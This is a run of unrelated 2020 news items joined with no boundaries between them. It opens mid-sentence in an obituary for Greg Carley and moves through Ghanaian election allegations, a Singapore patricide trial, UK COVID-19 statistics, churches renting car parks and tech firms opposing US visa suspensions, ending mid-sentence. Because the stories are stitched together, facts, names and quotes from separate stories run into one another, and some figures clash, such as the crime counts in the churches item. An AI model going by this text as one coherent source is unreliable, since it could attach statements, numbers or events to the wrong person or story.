Aug. 11, 1970 in Valdosta, Georgia, at Moody Air Force Base hospital. At 3 months of age, Greg and family, including his older brother Jeff Carley, traveled cross country to make a new home in Vacaville, California, near Travis Air Force Base. Thus began a childhood of constant change and adventure due to Air Force life and eventually airline life. Yuba City, California, Muskegon, Michigan, Lafayette, Indiana, Jeddah, Saudi Arabia, Dallas, Texas, were also places Greg called "home" (before age 10). Even though a few locations were brief stops on the family map of places to go, things to see and do, there were always new adventures, new friends and discoveries. In 1980, now a family of three, there was a return to Muskegon, Michigan, to be near grandparents and extended family of aunts, uncles and cousins. 1982 presented yet another career change opportunity in Missoula. The family decision to move west was based on two important questions before accepting the job offer, "Are the roads paved or dirt?" Next question, "will we ride horses to school?" "Maybe" answered both questions. The boys found Missoula the "best place ever" to call their home town. However, in 1987, another family decision was on the table, one more change, one more town, another job opportunity in Annapolis, Maryland. As Jeff headed to the University of North Texas to begin his college experience, the new family of two traveled across country, again, to Annapolis. Great friends were discovered, along with fresh crab at Mike's Crab Shack every weekend (an exceptional experience), but Missoula was still in the rear view mirror with fond memories of good times and even "better" best friends. A return to Missoula was inevitable, so why wait? Greg was excited to complete his last year of high school at Big Sky High School and graduated with his best friends as a member of the BSHS Class of 1989. Fortunately, Greg joined the same best friends in Missoula during August 2019 for their 30th Class Reunion special memories for all with lots of photos! Greg is deeply missed by his wife of 18 years, Jill Carley, at the family home in Austin, Texas, son Hayden Carley, daughter, Madison (Madi) Carley, also in Austin, and stepdaughter Kyra Lundstrom, Strongsville, Ohio. Greg's mother, Susan Liane Johnson (Chip), brother, Jeff Carley (Nicole), all in Missoula. Aunts, uncles and cousins residing in Michigan, Bette Rodewald (Bill), Joan Embs (Dale), Rosemary Ray (Lynn) and 13 first cousins. Special lifetime friends to Greg Jessika, Kirsten and Tony Liane. Greg was preceded in death by his father, Lynn M. Carley, and his maternal and paternal grandparents. Greg majored in Journalism with a minor in Art at the University of North Texas. He had a very creative mind and from early childhood his love of art was evident. Austin offered many opportunities and in his early years he worked with ad agencies, marketing ideas/concepts and gained name and work recognition throughout the industry. In 2015, he was working for a start-up company, Chaotic Moon Studios, a creative technology studio that designs and develops award-winning user centered software for major brands such as Southwest Airlines, Microsoft, AT&T, Post Foods, etc. Greg was named director of strategy and at this point brought 18 years of design, art direction and strategic-thought leadership to the position. He became a leader in the design community, joining the Austin AIGA board of directors in 2013. Fast forward, three start-up companies later and still working with the same group of friends, Greg was working with a relatively new company "Hypergiant." Greg was the Managing Partner of Hypergiant Ventures at the time of his death. He had developed, professionally executed, his dream job. At this time in his life he reached the peak of his career. He loved space and was involved with NASA and Space-X. Greg's business partner and CEO of Hypergiant, Ben Lamm, wrote a beautiful paragraph to the members of the company to share the news of their collective loss in reference to Greg's passing. "Hypergiant Family, with a heavy heart, I need to share some sad and tragic news. Greg Carley, a value and cherished member of Hypergiant family, has passed away. Greg was truly one of the most inspirational and amazing people I have ever known and had the pleasure of working with. He was an incredible friend who has been there for me and probably many of you over the years through various ups and downs. He constantly had the greatest attitude and no challenge was ever too tough for him. He had a borderline magic skill of distilling hard concepts and complex problems into simple solutions and always did it with a smile or a joke. He always let me know that no matter what the issue, or challenge, that it would be okay and we would figure it out. He is truly loved and will be missed greatly. "Please take this time to tell people how much you appreciate and cherish them. Life is incredible, but also short at times like these. Thank you for supporting each other in grieving and remembering GREG." Hypergiant and Ben hosted a beautiful Celebration of Life for Greg within three days after he passed. Cremation has taken place in Austin, Texas. As per his wishes, Greg's remains will be launched into space aboard a satellite in mid-December 2020. He will orbit the Earth for months to years and will finally be exhausted as a shooting star upon re-entry to EARTH. The family will gather at Cape Canaveral, Florida, to honor Greg. The New Patriotic Party (NPP) has accused the General Secretary of the opposition National Democratic Congress (NDC), Johnson Asiedu Nketia, of helping non-Ghanaians to register to vote in the December elections. General Secretary of the NPP, John Boadu, said at a press conference on Monday, August 10, 2020, that Mr Asiedu Nketia masterminded the registration of some 66 Ivorians at Banda Kabrono in the Bono Region. Unfortunately for him as they finished registering and were returning, the tyre [of a vehicle they were bused to the registration centre] got burst and the security agencies were alerted. And they realised that 66 Ivorians had managed to cross with the help of Asiedu Nketia to register and vote in the upcoming elections, he alleged. Asked if the party will lodge a formal complaint against the NDC General Secretary, Mr Boadu said the NPP has already done that, stressing that the governing party did not report the matter to the police because it involved the biggest opposition party, but because it was an illegality. The press conference on Monday offered the governing NPP the opportunity to present its position on the just ended mass voter registration exercise. According to the NPP, the exercise was highly successful and commended the Electoral Commission, political parties, civil society groups, security services, the media, and other stakeholders for their efforts. NPP believes the success of the exercise vindicates its position on the need for a new register. Source: ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A body of leading sexual assault law reform advocates has called for an independent review of a technical mistake at WA Police that led to the potential loss of two years worth of correspondence with sexual assault survivors, as police are yet to reveal the extent of the mistake. Loading Last month, WAtoday revealed victims who attempted to report a sexual crime via a WA Police email between at least February 2016 and March 2018 were sending highly sensitive reports to an incorrect address not monitored by police. Although police apologised to at least one woman who fell victim to the bungle, admitting they "let her down" by dismissing her when she pointed out the mistake, key questions remain unanswered. On July 31, WA Police Assistant Commissioner Brad Royce publicly vowed to investigate the technical bungle and find out where the missing emails went. The White House is considering a temporary block on American citizens and legal residents returning to the United States from abroad. The new proposed rules from the White House allow border officials to prevent citizens and legal residents from coming into the U.S. if they believe they may be infected with the coronavirus. In recent months, the White House has imposed sweeping rules that ban entry by foreigners into the U.S., citing risks of viral spread from hot spots abroad. Before the rules exempted American citizens and non-citizens who have established legal residency, The New York Times noted. According to the Washington Post, it is not clear if the Trump administration has the legal authority to do the said block on re-entry. But White House officials said they are looking into a public health emergency declaration that will let them keep out people who are possibly infected by the virus. The Forbes noted that Trump hasn't shielded from doing all sorts of border restrictions amid the pandemic. His major actions before have included banning most travel into the U.S. from Europe and mainland China. This affected international flights at large. Trump has also recently turned his sights on Mexico, blaming the worsened conditions of the pandemic in the U.S. in part to migrants who cross the border from the southern neighbor. This was despite the U.S. having many times higher coronavirus cases than Mexico. Federal agencies are expected to give their feedback on the proposal to the White House by Tuesday, but it is not yet clear when it will be approved or announced. The effect of the feedback on the new rules also remains unclear. Restrictions Make Little Difference According to medical experts, putting the new rules in place will do little in controlling the spread of the virus in the U.S. They said widespread community transmission is already happening in the country, making tighter border protections have little effect on the case numbers. The U.S. is experiencing an outbreak that can be considered the world's worst, as more than five million confirmed cases of COVID-19 have been seen in many parts of the country, especially in the South. Despite this, there is a sharp dissent within the White House about keeping sick American citizens and legal residents from coming back into the country. The draft, which the New York Times obtained parts of, appeared to have no details about how long a citizen or legal resident is required to stay outside the U.S. If implemented, though, the proposed rules will be the first time an administration attempts to apply this kind of restrictions to U.S. citizens and legal residents that cross the border daily. The Rule's Chief Critic In response to the new rules, the American Civil Liberties Union (ACLU) released a statement Monday, claiming that the block on American citizens from the U.S. is unconstitutional. "The Trump administration has rolled out one border ban after another - most recently on children and asylum seekers - using COVID-19 as an excuse," said ACLU director Omar Jadwat. Jadwat said the new order would be "another grave error in a year that has already seen far too many." Want to read more? Take a look at these! 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colony of icefish in southern Antarctica China creates low-gravity artificial moon Tehran welcomes normalization of Armenia-Turkey relations Russian and Iranian Foreign Ministers discuss regional issues UN Secretary-General: Vaccinate whole world to end pandemic Giant asteroid to fly past our planet Armenian President meets with Executive Director of Mubadala Investment Company UAE counting on Turkey Indonesia to move capital by 2024 Passenger traffic at Armenian airports decreased by 30% Armenian Investigative Committee: Six soldiers captured in November arrested Turkish government to discuss Rubinyan-Kilic meeting results German FM threatens Russia in case of aggression against Ukraine Armenian MFA senior staff meets with ambassadors to European countries Turkish court acquits German journalist Mesale Tolu Turkish UAV intercepted over Greek island Protest in front of Armenian Health Ministry France introduces vaccine passes Bitcoin begins to lose out competitors Exchange rates in Armenia Safari browser caught leaking user data Xi Jinping: Confrontation between major powers can have disastrous consequences Lukashevich: Russia concerned that OSCE Minsk Group Co-Chairs may not be able to visit Nagorno-Karabakh Court obligates Armenia ruling force MP to prove ex-President Sargsyan lost more than $100M in casinos Her first relationship with Bachelor Jason Mesnick ended in heartbreak when he proposed to Melissa Rycroft. But Molly Mesnick (nee Malaney) revealed she was prepared to look for love again and accepted to be the Bachelorette before Jason asked her for a second chance. The 35-year-old shared the news for the first time when she appeared alongside the former Bachelor on Monday night's latest episode of The Bachelor: The Greatest Season's Ever. Could have been: Molly Mesnick (nee Malaney) revealed she was prepared to look for love again and accepted to be the Bachelorette before Jason asked her for a second chance, while speaking on Monday's The Bachelor: The Greatest Seasons Ever The couple, who met on Jason's 2009 season of the Bachelor, video chatted in from their Seattle home. The 44-year-old recounted how his relationship with Melissa fizzled after she accepted his proposal on TV. 'Melissa and I, we dated, I don't know, six or eight weeks and I think both of us knew that things weren't going the direction,' he said. 'She called me up and she said, "How are things going?" I said, "Things have changed."' His one-time fiance had questions if it was about Molly, which he at the time denied. Before: Molly and Jason met on his season of The Bachelor in 2009, but he got engaged to Melissa Rycroft (Jason and Melissa on screen in 2009) Slim chance: 'They said to me, "You can have this chance with Molly, but we've already asked her to be the Bachelorette,"' he recounted (Molly and Jason in 2018) He continued: 'She had asked several times and I know why she really got mad, she had asked several times, "Does this have anything to do with Molly?" and I never said anything about Molly and I mean that was chicken of me, there's no doubt about that.' Once realizing it wasn't working with Melissa he let producers know and they told him he was losing his window with Molly. 'They said to me, "You can have this chance with Molly, but we've already asked her to be the Bachelorette,"' he recounted. For Molly, the chance to be the Bachelorette came quick and was 'easy' to let go of when Jason came back. Easy: For Molly, the chance to be the Bachelorette came quick and was 'easy' to let go of when Jason came back (Jason and Molly in 2018) 'It was probably a week after I had gotten back from New Zealand that I got the phone call,' she said. 'And I'm like, "I still am like crying, sad, upset,"' but she accepted. When she arrived in Los Angeles for the After the Final Rose special, she thought it would be when she started work on the Bachelorette. 'But boy did that change,' she said, with Jason adding 'I took that away from her.' At the filming of the special, Jason revealed his relationship with Melissa was over, and asked Molly for a second chance. Four months later they were engaged. Hard choice: Of being the Bachelorette, Mollys said 'it was a really big deal. I was hesitant, I didn't think I was right for it, so it was easy to let that go' (Molly in 2011) Of being the Bachelorette, Mollys said 'it was a really big deal. I was hesitant, I didn't think I was right for it, so it was easy to let that go.' 'And for us to be able to be on our own, away from the show, take our time, date as a normal couple,' she added. 'We dated long distance for 10 months before I moved out to Seattle, it was perfect. It allowed us to just be regular.' The couple married in 2010 and now share seven-year-old daughter Riley Anne. 'It's been 10 years, 10 fun, crazy, wild years,' said Jason. 'She's been an incredible stepmom to Tye, she's got her mini me Riley, who is identical to her in almost every way and I wouldn't change it for the world.' File photo of Singapore Supreme Court SINGAPORE A 46-year-old man who claimed trial to murdering his 75-year-old father after strangling him and punching him on his face in 2015 was said to be of unsound mind at the time of the act. Tan Kok Meng, then unemployed, was said to have resided with his elderly father and his mother at the Bedok North flat where the elder Tan was found lying in a supine position on 13 November 2015 by his wife, known as Toh in court documents. Opening the case on Tuesday (11 August), the prosecution, represented by Deputy Public Prosecutors Daphne Lim and Yan Jia Kang, argued that the younger Tan had caused the death of his father by inflicting multiple blows on his face and strangling him. Tan is represented by lawyers Favian Kang and Nichol Yeo. The prosecution also noted in court documents that state psychiatrists had ascertained that Tan had schizophrenia and was probably of an unsound mind when he allegedly committed the offence. One psychiatrist added that Tan had been in a state of acute drug intoxication due to the consumption of methamphetamine. The prosecution applied for an order under the Criminal Procedure Code for Tan be kept in safe custody pending an order of the Minister for him to be confined in a psychiatric institution, prison or other suitable place of safe custody at the presidents pleasure. It said it would be producing 48 witnesses, including police officers, a pathologist, relatives and neighbours and forensic psychiatrists who will testify to the younger Tans mental state at the material time. Toh will testify that on the day of the incident, the accused person did not seem his usual self. He was looking dazed for the past two days and pacing up and down the flat. As (the wife) noted that (her son) was not in a good state, she did not want him to leave the flat. She kept the keys from him and asked (the elder Tan) to do the same, said the prosecution. She also told her husband not to allow their son out of the flat, before she left at about 2.30pm. Upon returning home before 5.17pm, Toh found her husband lying on the ground with a bloodied head. She sought help from neighbours, who both saw the elder Tan lying on the floor gasping for air. Both the neighbours, Kee Pau Chua and Mohamad Zin Abdul Karim, observed the younger Tan in a daze with his limbs covered in dried blood. Story continues Toh shouted at her son, asking why he had killed his father, but he did not respond. At this point her son allegedly placed his hands on his injured fathers chest and sat on his abdomen. Toh then pulled her son away. She called her other son, who later alerted police to the incident. The elder Tan later died and his son was arrested by the police. The cause of death was certified to be from strangulation and aspiration of blood. He had extensive bruising and haemorrhage over his face chest and upper limbs as well as fractures to his neck. The victim also sustained a deep laceration to his tongue, which was consistent to him being punched in the face. A paramedic, Zaneta Lee Yan Lin, who was at the scene, testified that before entering the unit she saw the younger Tan sitting on a sofa in a daze and staring into the distance. According to a statement Lee gave to the police, she then asked the younger Tan, Sir are you okay?. I noticed that his body and clothing were covered in blood. He didnt reply me and appeared to be in a daze. She noted that Tan had dried blood on his upper body and arms. Following the younger Tans line of sight, Lee then saw the elder Tan in a supine position on the floor, dressed in boxers and covered in blood. Dentures were seen near the victim. Lee and her colleague then tended to the victim, who was unresponsive and making snoring-like sounds. She noted that the elder Tans pulse was weak and that the back of his head was soft to the touch in addition to swelling to his eyes. As Lee inserted an oral pharyngeal airway (OPA) device to clear the blockage in the victims throat however, the younger Tan suddenly stood from the sofa and asked the two paramedics to go away in Mandarin, gesturing with his hands. The younger Tan then moved towards the paramedics, prompting them to back away. Asked why they moved away, Lee said, Because of the glare that he gave the posture and everything he showed us. We were unsure what he wanted to do exactly, because he was so fixated on the deceased, thats why we were unsure and moved back for our own safety. The younger Tan then allegedly placed his hands on his fathers throat and strangled him for about one to two minutes, said the paramedic. The paramedics then shouted at him to stop and move away in Mandarin, but the younger Tan ignored them, while muttering I want him to die in Mandarin, according to court documents. We did not try to pull him away as we were worried about our safety did not know if he had a weapon or if he would turn around and grab us instead, she said. She observed that the accused person was using force as his right hand muscle was tensed up. After the act, the younger Tan allegedly returned to the sofa and the paramedics immediately tended to the victim again and administered oxygen to him. The wife remained outside the unit while her husband was being treated. Lee confirmed that the victim was still breathing after he was strangled when asked by lawyer Kang. She testified that the victims chest was still rising and falling and that he was breathing normally with the help of the OPA. He was no longer producing snoring noises at this point. The trial continues on Tuesday and is scheduled to Friday. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Other Singapore stories COVID-19: MOH reports 188 new cases including 2 Singaporeans NDP2020: PM Lee Hsien Loong calls NS Square new downtowns central focus, unveils its design PM Lee Hsien Loong: Holding NDP2020 symbolises Singapore's unity amid COVID-19 Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Coronavirus infection rates among all age groups under 65 have been on the rise since lockdown was eased, official data shows. Among people aged 15 to 44 in England, the rate has increased by 35 per cent since July 5 - a day after 'Super Saturday' when bars, restaurants and cinemas reopened and a large chunk of the workforce returned to work. A total of 11.9 people per 100,000 population in the age group caught the virus in the week ending August 2, compared to 8.8 per 100,000 five weeks ago. A combination of people having more social interactions and a ramping up of widespread testing is likely behind the rise, experts say. The latest Public Health England data shows weekly infections have jumped by 40 per cent in infants during the same time period. But cases in this age group are still relatively rare, with just 3.8 youngsters per 100,000 being diagnosed per week compared to 2.7 at the start of July. Professor Paul Hunter, an epidemiologist at the University of East Anglia, told MailOnline the reopening of nurseries and pre-schools could be to blame. He warned: 'I suspect that young children may be more infectious than we have assumed. This is clearly something that needs to be watched very carefully.' Among children between five and 15, weekly cases have increased by 32 per cent after climbing from 2.8 per 100,000 to 3.7 in just over a month. While cases among children have been climbing, in the older age groups - those who are more at risk of dying if they catch Covid-19 - the rate of infection is stable or falling, with a drop of almost half in the past five weeks among over-85s, from 24.4 to 13.6 cases per 100,000. People in the older high-risk age groups are likely to be taking social distancing and hygiene measures more seriously and therefore continuing to protect themselves after lockdown. The latest Public Health England data shows weekly infections have jumped by 40 per cent in infants since the week ending July 5 Among children between five and 15, weekly cases have increased by 32 per cent after climbing from 2.8 per 100,000 to 3.7 in just over a month Among people aged 15 to 44 in England, the rate has increased by 35 per cent since July 5 - a day after 'Super Saturday' when bars, restaurants and cinemas reopened and a large chunk of the workforce returned to work In people aged 45 to 64, infection rates have levelled off - 7.3 people per 100,000 were catching the virus a week in July, compared to 7.8 last week The report also showed that Covid-19 infection rates were falling in all age groups over 65 - who are most at risk of falling seriously ill with the disease. Experts say it suggests more widespread testing is picking up on younger people who were previously being missed when swabs were reserved for high risk patients. At the height of the pandemic, in the week leading up to May 3, the infection rate was at 302 per 100,000 people among the over 85s. As of last week, this had shrunk to 13.6, which is still the highest in any age demographic, which will be largely driven by routine testing in care homes. In mid-April, there were 150 people aged between 75 and 84 per 100,000 getting infected in a single week. Now, that figure is just 4.8. Like a lot of countries, Britain struggled to quickly ramp up its testing capacity during the worst of the epidemic. The report also showed that Covid-19 infection rates were falling in all age groups over 65 - who are most at risk of falling seriously ill with the disease. They dropped from 4.5 to 4.2 in Brits aged 65 to 74 In mid-April there were 150 people aged between 75 and 84 per 100,000 getting infected in a single week. Now, that figure is just 4.8 At the height of the pandemic, in the week leading up to May 3, the infection rate was at 302 per 100,000 people among the over 85s. As of last week, this had shrunk to 13.6 Covid-19 deaths in England and Wales are the lowest in 19 WEEKS, official data shows - but there are still more people than average dying in their homes The number of people dying from coronavirus in England and Wales has dropped to its lowest level in 19 weeks, official figures show. Covid-19 was mentioned on the death certificates of 193 fatalities registered in the week ending July 31, according to the latest report from the Office for National Statistics. It marks the lowest number of deaths linked to the virus since the week ending March 20, four days before lockdown, when the ONS reported 103 deaths. Deaths have now been at pre-lockdown levels for four weeks in a row. Around a thousand people were dying from Covid-19 each day at the height of the UK's crisis in mid-April and the official death toll now stands at 46,595. But the Government's death tally only includes victims who had a test confirming they had the virus, which differs from the ONS' calculations which include all deaths where the virus was a suspected cause. The ONS says there have been 51,779 deaths involving Covid-19 in England and Wales up to July 31, while official figures show there have been 4,208 in Scotland and 855 in Northern Ireland. Together, these figures suggest there have so far been 56,842 deaths registered UK-wide with Covid-19 mentioned on the death certificate. Today's report also found that nearly 700 more people than average died in their homes in the last week of July, amid concerns Britons are still reluctant to use the NHS. There were a total of 2,915 deaths registered in private homes in England and Wales - 676 higher than the five-year average. Experts fear people are still hesitant to use healthcare either because they are afraid of catching the virus in hospitals and GP surgeries, or they don't want to be a burden on the health service. Advertisement It meant only very sick people were swabbed for the virus and millions went undiagnosed. Because elderly people were disproportionately falling severely ill with the disease, they were the ones who were tested, which skewed their infection rates upwards. But case rates are now starting to level out as people with even mild symptoms are encouraged to take a test on the NHS. The PHE data shows nearly 1.1million swabs were conducted in the last week alone in England and Wales - eight times more than were done each week in April. There has been fierce debate about whether the UK is seeing a second wave of Covid-19 since cases started to rise last month. A total of 1,062 people tested positive for the disease on Saturday - the largest rise in new cases in a single day since the end of June. It came nearly a fortnight after Prime Minister Boris Johnson and Health Secretary warned that the virus was resurging across Europe and could very well hit the UK again. But some of the UK's most renowned scientists have rubbished the idea of a second wave and say the rising infections are simply the result of more testing. Professor Heneghan, director of Oxford University's Centre for Evidence-Based Medicine, and Professor Tim Spector, an epidemiologist based at King's College London, both say there is 'no evidence' that cases are spiking anywhere in the UK. Today's PHE report showed the number of Pillar 2 tests - swabs done at drive-through centres, at home and in other various community settings - has risen drastically. Over the last fortnight the number of weekly Pillar 2 tests has risen from 545,662 to 615,648 - which could explain the rise in cases in the last two weeks. Professor Heneghan has previously told MailOnline that the number of swab tests given to the public through DIY kits sent in the post and at drive-through centres had soared by as much as 80 per cent in some areas of the country, including the North West, which was put into lockdown a fortnight ago. Meanwhile, the number of people needing hospital treatment for coronavirus infections has plummeted since the peak of the outbreak in the UK. In the seven days leading up to August 5, 375 people were hospitalised with Covid-19 in England, compared to 18,638 between March 28 and April 3. While the number of patients in hospitals would be expected to drop as cases decline and the virus fades out, data suggests fewer people are getting severely ill. The proportion of coronavirus patients who need hospital care - regardless of the true number - seems to be falling. Since late April, when testing first started to become available outside of hospitals, the proportion of positive cases being hospitalised has dropped from around a quarter to less than 10 per cent, averaging seven per cent - just one in every 14 - over the past week. Hospital admissions are now making up a smaller percentage of total new coronavirus cases, data shows, falling from more than a quarter at the end of April, when widespread testing began, to less than 10 per cent in August Experts say better treatments, more hospital capacity and some levels of immunity may have helped push down the need for hospital care. Survival rates have improved, too, with eight in 10 intensive care patients now making it through their illness, up from fewer than half in April. The NHS faces a huge backlog of non-coronavirus patients after emptying its hospital wards to prepare for a surge in people sick with Covid-19. Falling levels of hospitalisations could help the health service get back on its feet if the virus remains under control. The number of people in hospital with Covid-19 in England peaked at 17,172 on April 12, and the number of people on ventilators was highest on the same day, at 2,881. This has since plummeted by 96 per cent to 638 people in hospital on August 7, and 98 per cent to 57 people on ventilators. Patients on ventilators are usually the most ill and have to be hooked up to the life support machine to help them breathe by forcing air into their damaged lungs. The most new admissions to hospitals happened on March 31 when there were 3,099 people taken into hospital with the disease. On August 5 - the most recent day for which there is data - just 21 people were admitted. That was the lowest figure so far in the epidemic and represents just three per cent of the 820 new cases that had been diagnosed each day, on average, over the last week. That percentage - the number of hospital patients compared to the average number of people diagnosed over the past week - shows approximately how many officially tested people become so ill that they need to go to hospital. Testing for people outside of hospital first became available on April 23, at which time around a quarter of people testing positive were hospital inpatients. This has now been consistently at 10 per cent or lower since July 29, suggesting fewer people are now getting severely ill. Professor Anthony Gordon, an intensive care expert at Imperial College London, said vulnerable people - those more likely to end up in hospital - were more likely to have got ill at the start of the epidemic before, or early in, the lockdown. Two persons who allegedly robbed a fan milk seller have been granted a GH50,000 bail each with two sureties each, one of whom was to be justified. Abdul Razak alias Rastaman and Ruben Asamoah pleaded not guilty to conspiracy and robbery. Whilst Asamoah was able to secure his bail, Razak is still in custody. They will make their next appearance on September 10. Police Chief Inspector Gulliver Kwabena Tenkorang told the Court presided over by Afia Owusua Appiah that, Razak is a driver's apprentice and Asamoah, a civilian employee at the Criminal Investigation Department's headquarters. He said the complainant is Patrick Ali, a fan milk seller and a resident of Adabraka whilst Razak lives at Abbosey Okai Zongo and Asamoah lives at Mataheko. Prosecution said on February 22, 2018, at about 2:15 am, Ali was riding home on his fan milk bicycle after close of work when he decided to pass urine on reaching a spot at the Kwame Nkrumah Circle behind the Neoplan Station. He said the complainant was approached by Asamoah, who claimed he was an AMA official mandated to charge GH50 from anyone who urinates in the gutters around. Chief Inspector Tenkorang said Razak also joined and insisted Ali pays the money but the complainant refused, so the two attempted to take a brown bag he was carrying containing GH605 but he resisted. The Prosecution said they then dragged him to the Neoplan Station where they subjected him to severe beatings and in the process, Asamoah slashed the left thumb of Ali with a sharp object suspected to be knife. He said when Razak attempted to run with the bag, Ali raised an alarm which attracted some drivers to the scene where they arrested the accused and retrieved the bag. Mr Tenkorang said the two were handed over to the police together with the exhibits and a medical report form was issued to Ali to attend hospital. Chief Inspector Tenkorang said both denied the offences in their cautioned statements. ---GNA Navein Darshan By Express News Service Chandana Koppisetti, who has grabbed attention with her debut as Swathi in the recent direct Netflix release, Uma Maheswara Ugra Roopasya, is a huge fan of the theatres. The young actor from Kakinada who now lives Hyderabad confesses that seeing actors like Anushka on the big screen every Friday planted the seed in her to enter cinema. No matter what the film, my focus would always be on the female lead. I felt so connected to the films that I would walk out of the theatre with a teary eye. I initially had no clue why I was reacting so. But later, I understood that cinema was my calling and I must be a part of that art, she says. Being such a big fan of theatres, was she disppointed that her debut film got a direct OTT release? I broke down in tears the moment I heard the news. I had strived hard for this break. Seeing myself on the silver screen is all I wanted. So it felt really heavy, she states. However, the attention and love she has been receiving from the audience post the release seems to have changed everything for her. I am glad that our film was released on a top OTT platform, as it has reached everyone in the family regardless of their age. Seeing them react to our film in the theatres would have been matchless. But, the love we have been receiving is truly overwhelming, she adds. Chandana was neither told she was auditioning for the remake of Maheshinte Prathikaaram nor given any details of her character initially. Maha sir (director Venkatesh Maha) auditioned me for both the roles of Swathi and Jyothi. Later, I was chosen to play the former. It was only post the script reading session that Roopa Koduvayur and I had a screening of Maheshinte Prathikaaram, says Chandana. She also confesses that she was sceptical to take up the character as she chooses money over love in the film. I was scared that people might brand me or hate my character as she leaves the hero. But Maha sir explained to me that the audience will appreciate my performance as it has a lot of delicate layers. He also tweaked the character for the Telugu version to make Swathi feel more like a victim of circumstances rather than an opportunist. The young actor fondly recalls her preparation for the role and her shooting experience in Araku. Roopa, Kushalini and I were made to stay there in a local residents house to get used to the culture and people. We even did all the household work there. Every evening, we had workshops and freestyle dancing sessions along with the people of Arakku who acted in the film to break the ice. We had lots of fun prepping for our roles, she says. After the intense workshops, the film was shot on fast track and wrapped in just 35 days. Chandana reveals that she shot for both her wedding scene and her intro scene at the funeral house on the same day. Everything was happening so fast on the sets. We shot the funeral scene early in the morning and rushed to the church for the wedding scene at noon. Changing costumes and looking entirely different in both the scenes was a challenge. Asked if she wants to be remembered as a performer or entertainer, the physiotherapist-turned-actor, says she wants the best of both worlds. I dont want to lose out on one for the other. Though I debuted with a zero make-up role, which I had to put on some weight for, I am completely game for glossy commercial entertainers as well. They take an actor to a wider audience. I believe I can prove my mettle as a dancer in those films, even if the scope to act is relatively less. Chandana, who is on the lookout for interesting roles right now, signs off saying that she wants to explore all kinds of roles and not have any limits as an actor, I dont want to be boxed into any tag or region. I dont want to repeat the same kind of roles. I am completely ready to work in any language, as long as the character is interesting and I am given enough time to prepare for it. Some churches in the UK are earning an average of 200 a month by renting out their parking spaces to drivers, it has been revealed. A website that allows property owners to hire out their vacant parking facilities says that over 100 churches are now registered online - and making a tidy sum out of their unused car parks. Parishes that are already utilising the opportunity suggest the move not only helps bring in a little extra cash but also reduces crime levels at places of worship. O park, all ye faithful: Over 100 UK churches have registered their car parks with a website that hires spaces out to drivers looking to avoid on-street charges and multi-storey facilities Website YourParkingSpace.co.uk says it has more than 100 churches on its database of 64,000 registered spaces for motorists looking for alternative options to on-street parking and expensive traditional car parks. It allows drivers to pre-book an allocated space at a private property or business car park from half an hour to block bookings over monthly periods. The site claims that these churches are pocketing a collective 20,000 a month from utilising their available parking spots - and others should take advantage of the opportunity. With some 16,000 registered churches in the UK, only a fraction of the total number who could be making a tidy additional income. Analysis by the website estimates that over 85 per cent of churches have suitable parking spaces that can be offered to motorists looking to avoid steep charges in place by council, private parking firms and multi-storey operators. St Wilfrid's Church in Harrogate is one of the 100 or so to offer affordable parking options to drivers. St Wilfrid's Church in Harrogate, which is one of the 100 or so UK churches that is renting out its car park to motorists online The car park has plenty of free spaces and the church says by making spaces available it increases the footfall and reduces crime levels A parking space at the church, which is just a five minute walk from the town centre, for just one hour costs 1.19 if you book to use the facilities the next day. For a month, it costs 291.81. The car park itself if spacious - meaning your doors are likely to be dinged by other motorists getting in and out of their vehicles - and there's plenty of cover to keep your motor in the shade in the current balmy temperatures. A quick search of car parks in the North Yorkshire area found that that West Park multi storey in the centre of town - which has 343 spaces - charges just 50p for an hour, while parking for two hours in 1. For use of the space for 12 hours it's a total of 4.80, which works out at just 96 for a month of weekday-only use. The church claims that by having more people use the available parking spaces it has and generally walking around the church, it has reduced the level of anti-social behaviour in its immediate surroundings. St Wilfrid's Church's facilities and commercial manager, Rebecca Oliver, said: 'The parking income helps to support the running costs of the church, which as a Grade I listed building are significant. 'Using YourParkingSpace.co.uk is a straightforward and affordable way for a church to monetise its car park, without having to spend a lot of time managing it.' Many churches listed on the pre-booking website are located near city and town centres, where demand for parking is traditionally high Figures have revealed that around 28 crimes occurred around places of worship in the two years from January 2017. That's according to a report published at the end of last year by Countryside Alliance. It made a Freedom of Information request to the UK's 45 police forces (of which 41 responded) and found there were 20,168 crimes over the 24-month period. These were a catalogue of offences, ranging from rape and murder to petty theft, the alliance described as 'extremely distressing reading'. Many churches listed on the pre-booking website are located near city and town centres, where demand for parking is traditionally high. Harrison Woods, managing director at YourParkingSpace.co.uk, said: 'Churches offering their empty parking spaces makes perfect financial sense, you could almost describe it as 'pray and display'. 'However, the extra income is just one benefit as a busy car park deters anti-social behaviour, while visitors could also be tempted to have a look around the church if it is allowed.' More than 50 tech firms have signed onto a court filing in support of a suit by US Chamber of Commerce against Trump blocking work visas. Trumps proclamation suspended a group of non-immigrant visa programs, including H-1B visas relied on by many technology firms to bring in software and hardware engineers. Indians have been the recipients of 70 per cent of H-1B visas, according to reports. San Francisco: Amazon, Apple and Facebook are among tech industry titans and organisations signing onto a court filing saying US President Donald Trumps move blocking visas for skilled workers hurts the country. The brief was filed in federal court Monday in support of a suit by the US Chamber of Commerce and trade groups against a proclamation issued by Trump in June halting visas for various categories of guest workers including highly skilled talent sought by tech firms. The presidents suspension of non-immigrant visa programs, supposedly to protect American workers, actually harms those workers, their employers, and the economy, the brief backed by more than 50 tech firms and organisations argued. Beyond the overwhelming data undermining the proclamations purported rationale, the administrations actions send a fundamentally un-American message to those abroad who might otherwise have brought their skills and ingenuity to the United States. Trumps proclamation suspended a group of non-immigrant visa programs, including H-1B visas relied on by many technology firms to bring in engineers. The suspension is to last through this year and as long after as necessary under the justification of making jobs available to citizens amid economic disruption caused by the pandemic, according to the filing. Evidence, however, 